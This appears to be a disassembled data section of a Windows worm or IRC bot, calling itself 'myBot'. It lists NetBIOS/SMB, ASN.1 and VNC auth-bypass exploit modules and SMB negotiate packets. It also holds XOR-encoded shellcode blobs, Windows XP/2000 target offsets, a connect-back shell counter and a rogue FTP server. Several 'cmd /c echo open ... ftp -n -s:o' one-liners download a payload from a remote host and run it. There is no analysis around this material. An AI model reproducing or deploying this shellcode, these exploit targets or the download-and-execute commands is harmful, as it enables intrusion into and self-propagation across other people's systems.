aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o
align 8
aSym db 'sym',0 ; DATA XREF: sub_40C125+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DB+30o
align 4
dd 5 dup(0)
dword_431B00 dd 0B97h ; DATA XREF: sub_401ACD+1DA1r
; sub_401ACD+1DCAo ...
off_431B04 dd offset sub_40E0D1 ; DATA XREF: sub_40C125+1EAr
dword_431B08 dd 0 ; DATA XREF: sub_40B64B+2Eo
; .text:0040D496w ...
dword_431B0C dd 1 ; DATA XREF: sub_40BACE+1Fr
dword_431B10 dd 1 ; DATA XREF: sub_40BACE+3B3r
dword_431B14 dd 0 ; DATA XREF: sub_40BACE+292r
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40E207h, 0
dd 2 dup(1), 0
aNet139 db 'net139',0
align 10h
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40DF8Fh, 0
dd 2 dup(1), 0
aNet445 db 'net445',0
align 10h
dd 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40DF8Fh, 0
dd 2 dup(1), 0
aAsn80 db 'asn80',0
align 10h
dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
dd 50h, 40D2DAh, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 10h
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D2DAh, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 10h
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D2DAh, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 10h
db 2 dup(0)
byte_431CE2 db 1 ; DATA XREF: sub_401ACD:loc_4037E7r
; sub_401ACD+1D24o
db 73h
dd 6D79h, 0
dd 100h, 3 dup(0)
dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah
dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h
dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h
dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
dd 99h
; char aTotalDInS_[]
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o
align 10h
; char asc_431E90[]
asc_431E90 db ' ' ; DATA XREF: sub_40B64B+46o
db 3, 37h, 25h
dd 203A0373h, 2C6425h
; char asc_431E9C[]
asc_431E9C db '-' ; DATA XREF: sub_40B64B+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
; char asc_431EBC[]
asc_431EBC db '-' ; DATA XREF: sub_40B71A+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
; char asc_431F04[]
asc_431F04 db '-' ; DATA XREF: sub_40B786+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 10h
; char aScanTimeS_[]
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DB+7Fo
; char asc_431F40[]
asc_431F40 db ' ' ; DATA XREF: sub_40B7DB+40o
db 3, 37h, 25h
dd 28200373h, 73253403h, 2C2903h
; char asc_431F50[]
asc_431F50 db '-' ; DATA XREF: sub_40B7DB+14o
db 3, 34h, 2
dd 6E616373h, 202D0302h, 6C707845h, 2074696Fh, 7473694Ch
dd 3Ah
; char asc_431F6C[]
asc_431F6C db '-' ; DATA XREF: sub_40B8A2+172o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
; char asc_431FA0[]
asc_431FA0 db '-' ; DATA XREF: sub_40B8A2+80o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 10h
; char asc_431FD0[]
asc_431FD0 db '-' ; DATA XREF: sub_40BA57+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 10h
; char asc_431FF0[]
asc_431FF0 db '-' ; DATA XREF: sub_40BA57+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
; char asc_43200C[]
asc_43200C db '-' ; DATA XREF: sub_40BACE+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 10h
; char asc_432040[]
asc_432040 db '-' ; DATA XREF: sub_40BACE+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_34 db '- Failed to start server, error: <%d>.',0
; char asc_432078[]
asc_432078 db '-' ; DATA XREF: sub_40BACE+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 4
; char asc_4320A8[]
asc_4320A8 db '-' ; DATA XREF: sub_40BACE+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start server, error: <%d>.',0
align 4
; char asc_4320DC[]
asc_4320DC db '-' ; DATA XREF: sub_40BACE+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 10h
; char asc_432110[]
asc_432110 db '-' ; DATA XREF: sub_40BACE+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_36 db ' Failed to start server, error: <%d>.',0
align 4
; char asc_432144[]
asc_432144 db '-' ; DATA XREF: sub_40C125+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
; char asc_43216C[]
asc_43216C db '-' ; DATA XREF: sub_40C125+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_4321A4[]
asc_4321A4 db '-' ; DATA XREF: sub_40C33D+1CEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
; char asc_4321E4[]
asc_4321E4 db '-' ; DATA XREF: sub_40C33D+173o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
; char asc_43221C[]
asc_43221C db '-' ; DATA XREF: sub_40C33D+103o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_432250[]
asc_432250 db '-' ; DATA XREF: sub_40C33D+87o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
; char asc_432284[]
asc_432284 db '-' ; DATA XREF: sub_40C59C+92o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 4
; char asc_4322AC[]
asc_4322AC db '-' ; DATA XREF: sub_40C669+41o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
; char asc_4322D4[]
asc_4322D4 db '-' ; DATA XREF: sub_40C75A+D1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 10h
; char asc_432300[]
asc_432300 db '-' ; DATA XREF: sub_40C75A+41o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADB+B2o
align 4
dword_432338 dd 10FF8h, 0 ; DATA XREF: sub_40CADB+6Ao
dword_432340 dd 10FF8h ; DATA XREF: sub_40CADB+79o
dword_432344 dd 7FFDF020h, 0 ; DATA XREF: sub_40CADB+162o
dword_43234C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF05+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002 db 'LM1.2X002',0
dw 4C02h
aAnman2_1 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12 db ' LM 0.12',0
align 4
dword_4323D4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF05+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_432404 dd 0 ; DATA XREF: sub_40CF05+44o
dd 800000D4h, 0
unk_432410 db 81h ; ; DATA XREF: sub_40CFDF+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_43245C db 41h ; DATA XREF: sub_40D07D+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
aSvwfbA db 'SVWfì€',0 ; DATA XREF: .text:0040D35Co
aIcsa db '‰æèí',0
db 2 dup(0), 0FFh
dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh
dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h
dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h
dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h
dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h
dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h
dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h
dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_432608 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
; DATA XREF: .text:0040D30Ao
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
; char dword_432698[]
dword_432698 dd 60h ; DATA XREF: sub_40CADB+320o
; char dword_43269C[]
dword_43269C dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o
; char dword_4326A8[]
dword_4326A8 dd 30h ; DATA XREF: sub_40CADB+2CAo
; char dword_4326AC[]
dword_4326AC dd 0A1h ; DATA XREF: sub_40CADB+29Fo
dword_4326B0 dd 3 ; DATA XREF: sub_40CADB+246o
; char aCccc[]
aCccc db 'CCCC',0 ; DATA XREF: sub_40CADB+153o
align 4
; char dword_4326BC[]
dword_4326BC dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_40CADB+E8o
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .text:0040D331o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 10h
dword_432730 dd 0E983C933h, 0D9EED9AFh, 5BF42474h, 0BB137381h, 836AD31Eh
; DATA XREF: sub_40D99C+2B0o
dd 0F4E2FCEBh, 25387447h, 952CE753h, 6587E44h, 2F583A9Fh
dd 6FAF9587h, 0E13C1FC3h, 355806F4h, 89381F9Bh, 5E58578Bh
dd 5B3D1F30h, 0EE7F877Bh, 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
dd 89A6369Fh, 6BF74130h, 66587850h, 768C95F0h, 46D0F5BAh
dd 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh, 0C7CF6E30h
dd 34DB5E30h, 649D90D3h, 0BC2C4E57h, 39B5C58Ah, 58E076DDh
dd 58A069D3h, 0BA2C4AE4h, 963ED5D3h, 0BC2C4E80h, 0C3697E4h
dd 68DBF33Ah, 95D174EEh, 630A766Bh, 9584B34Eh, 39804D6Dh
dd 39904DE8h, 0BA2C4DF8h, 0FD376DDh, 8B5A4DDDh, 7077762Eh
dd 9584D9CBh, 3BC3746Dh, 203E1EEh, 83FDB31Fh, 3905E1ECh
dd 203E1EEh, 2355575Eh, 3A05E1ECh, 95864AEFh, 8DBB8D6Bh
dd 3DAAD8C2h, 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h
dd 0E31F37E2h, 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h
dd 0C1EB6436h, 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h
dd 6BB94FEAh, 3B864FEAh, 0C7BBCE44h, 391D1B62h, 95B9C844h
dd 0BA2C2944h, 0E92F4930h, 0BC2C7A7Fh, 203E1E9h, 0A33D054h
dd 9505E1E8h, 6AD31E6Bh, 0
dword_432890 dd 0EFFFC481h, 44FFFFh, 4328DCh ; DATA XREF: sub_40D99C+297o
dword_43289C dd 42Ah ; DATA XREF: sub_40D99C+24Ar
dword_4328A0 dd 3E8h ; DATA XREF: sub_40D99C+2BBr
dword_4328A4 dd 258h ; DATA XREF: sub_40D99C+28Dr
byte_4328A8 db 1 ; DATA XREF: sub_40D99C+1F6r
; sub_40D99C+2C4r
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_4328C0 dd 20804h ; DATA XREF: sub_40D8A0r
; sub_40D99C+2E2o ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:004328ACo
align 4
aWindowsNt42000 db 'Windows NT4, 2000 (SP0-SP4)',0
dword_4328F8 dd 2EBh, 0 ; DATA XREF: sub_40D99C+21Eo
dword_432900 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40D99C+14Eo
dword_432914 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_40D99C+F2o
; char aSPipeBrowser[]
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D99C+81o
align 4
; char aSIpc[]
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40D99C+33o
align 4
; char aCmdCEchoOpen_0[]
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40DEA1+92o
; sub_40DFE3+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4329BC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 10h
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .text:0040E40Do
align 10h
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .text:0040E29Ao
align 10h
word_433C00 dw 1 ; DATA XREF: .text:0040E211r
align 4
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40E504+130o
; sub_419C65+21o
; char aEchoOpenSDOEch[]
aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: sub_40E6F0+23Eo
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40E992+5F2o
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40E992+5D1o
align 4
; char aFtpTransferCom[]
aFtpTransferCom db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40E992+580o
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40E992+56Co
; char aFtpTransferSta[]
aFtpTransferSta db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40E992+522o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40E992+4F7o
align 4
; char aRetr[]
aRetr db 'RETR',0 ; DATA XREF: sub_40E992+4DFo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40E992+4CFo
align 4
; char aS_S_S_S[]
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40E992+4BEo
; char aXX[]
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40E992+48Bo
align 4
; char aS_1[]
aS_1 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40E992+447o
db ']',0
; char aPort[]
aPort db 'PORT',0 ; DATA XREF: sub_40E992+40Eo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40E992+3E0o
align 10h
; char aList_0[]
aList_0 db 'LIST',0 ; DATA XREF: sub_40E992+3CDo
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40E992+395o
align 4
; char aPasv[]
aPasv db 'PASV',0 ; DATA XREF: sub_40E992+382o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40E992+372o
; char aI_0[]
aI_0: ; DATA XREF: sub_40E992+35Eo
; .data:00438368o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40E992+33Bo
; char aA_0[]
aA_0: ; DATA XREF: sub_40E992+327o
; .data:00438374o
unicode 0, <A>,0
; char aType[]
aType db 'TYPE',0 ; DATA XREF: sub_40E992:loc_40EC9Bo
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40E992+2FEo
align 4
; char off_433E54[]
off_433E54 dd offset dword_445750 ; DATA XREF: sub_40E992+2EAo
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40E992+2DDo
align 4
; char aRest[]
aRest db 'REST',0 ; DATA XREF: sub_40E992+2C9o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40E992+2BCo
align 4
; char aSyst[]
aSyst db 'SYST',0 ; DATA XREF: sub_40E992+2A8o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40E992+29Bo
align 4
; char aPass[]
aPass db 'PASS',0 ; DATA XREF: sub_40E992+287o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40E992+277o
align 4
; char aUser_1[]
aUser_1 db 'USER',0 ; DATA XREF: sub_40E992+262o
align 4
; char aSS_3[]
aSS_3 db '%s %s',0 ; DATA XREF: sub_40E992+251o
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40E992+1C9o
align 4
; char asc_433EEC[]
asc_433EEC db '-' ; DATA XREF: sub_40F0D6+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
; char asc_433F14[]
asc_433F14 db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D6+2CFo
; sub_41A4D2+F5o
align 4
; char aGet[]
aGet db 'GET ',0 ; DATA XREF: sub_40F0D6+269o
align 10h
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
